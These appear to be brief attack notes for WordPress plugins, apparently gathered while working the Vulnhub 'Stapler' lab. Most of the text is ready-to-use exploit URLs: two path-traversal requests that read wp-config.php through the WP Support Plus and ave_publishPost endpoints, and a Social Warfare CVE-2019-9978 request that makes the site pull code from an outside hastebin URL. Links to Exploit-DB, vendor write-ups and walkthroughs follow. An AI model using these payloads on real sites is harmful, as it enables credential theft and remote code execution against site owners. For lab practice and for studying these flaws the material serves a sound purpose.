wp-support-plus-responsive-ticket-system

https://yoursite.com/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=..%2F..%2F..%2F..%2F..%2Fwp-config.php

IP: 51.116.189.135 Hostname: 51.116.189.135

WordPress Plugin WP Support Plus Responsive Ticket System 2.0 - Multiple Vulnerabilities

https://www.exploit-db.com/exploits/34589

https://yoursite.com/wp-admin/admin-post.php?swp_debug=load_options&swp_url=https%3A%2F%2Fhastebin.com%2Fraw%2Fetonipusij

Exploits in the Wild for WordPress Social Warfare Plugin CVE-2019-9978

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-wordpress-social-warfare-plugin-cve-2019-9978/

https://blog.sucuri.net/2019/03/zero-day-stored-xss-in-social-warfare.html

https://yoursite.com/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=..%2Fwp-config.php

https://windsorwebdeveloper.com/stapler-1-vulnhub-walkthrough/

https://payatu.com/blog/Harish-Tiwari/vulnhub-stapler-walkthrough